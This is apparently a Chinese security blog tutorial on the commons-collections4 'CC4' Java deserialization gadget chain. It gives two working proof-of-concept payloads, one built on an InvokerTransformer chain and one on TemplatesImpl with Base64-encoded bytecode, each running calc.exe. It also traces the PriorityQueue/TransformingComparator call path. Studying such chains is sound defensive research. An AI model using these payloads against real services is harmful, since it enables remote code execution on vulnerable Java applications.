java反序列化–cc4#

环境:jdk8u65;commons-collections4.0

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

commons-collections库有两个版本,一个3.x,一个4.x。cc1,cc6等等这些在commons-collections3库中可以利用的链子,在commons-collections4也可以用,修改一下函数就行。同时,commons-collections4.0出现了两条新的利用链,cc2和cc4,两者其实差不多,但无法在commons-collections3中使用。

cc4可以通过transformer数组触发命令执行也可以通过字节码加载的方式触发代码执行。先介绍transformer数组这条链。

cc4(transformer)#

payload

package commonscollections4;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;


public class CC4 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc4(transformer)这条链从ChainedTransformer.transform()往后不再赘述,cc1和cc6中都有提到,这里主要研究之前的链子。

TransformingComparator.compare()#

跟进payload中的TransformingComparator构造方法,方法中再次调用了另一个构造函数,该方法将传入的transformer字段进行赋值,因此如果能调用compare方法,就能够调用到ChainedTransformer.transform()

image-20250406184743487

PriorityQueue.siftDownUsingComparator()#

跟进该类的构造函数,将comparator字段进行赋值,为TransformingComparator对象

image-20250406190414633

找到siftDownUsingComparator方法,可以看到两个if中都调用了comparator.compare,不用担心调用的问题

image-20250406190516912

PriorityQueue.siftDown()#

找到siftDown()方法,可以看到当comparator != null时,调用siftDownUsingComparator()

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

PriorityQueue.heapify()#

heapify()方法中的for循环调用了siftDown()方法

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
}

PriorityQueue.readObject()#

正好readObject()方法调用了heapify(),整条cc4结束,最后代码中的queue.add方法是向优先队列中添加两个元素,使其能够进行比较`

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();
    queue = new Object[size];
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    heapify();
}

gadget#

PriorityQueue.readObject()
	PriorityQueue.heapify()
		PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
				TransformingComparator.compare()
					ChainedTransformer.transform()
						ConstantTransformer.transform()
							invokerTransform()
								Runtime.getRuntime().exec()

cc4(TemplatesImpl)#

payload

package commonscollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC4TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Comparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc4(TemplatesImpl)这条链和cc3在ChainedTransformer.transform()后半段是相同的,和cc4在TransformingComparator.compare()前半段是相同的,所以这条链可以说是cc3+cc4的变种,只是将TemplatesImpl字节码加载融入进了cc4

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-%e8%b7%8c%e5%ae%95%e8%b5%b7%e4%bc%8f%e7%9a%84cc3.html

gadget#

直接给出gadget

PriorityQueue.readObject()
	PriorityQueue.heapify()
		PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
				TransformingComparator.compare()
                    ChainedTransformer.transform()
                        InstantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TransletClassLoader.defineClass()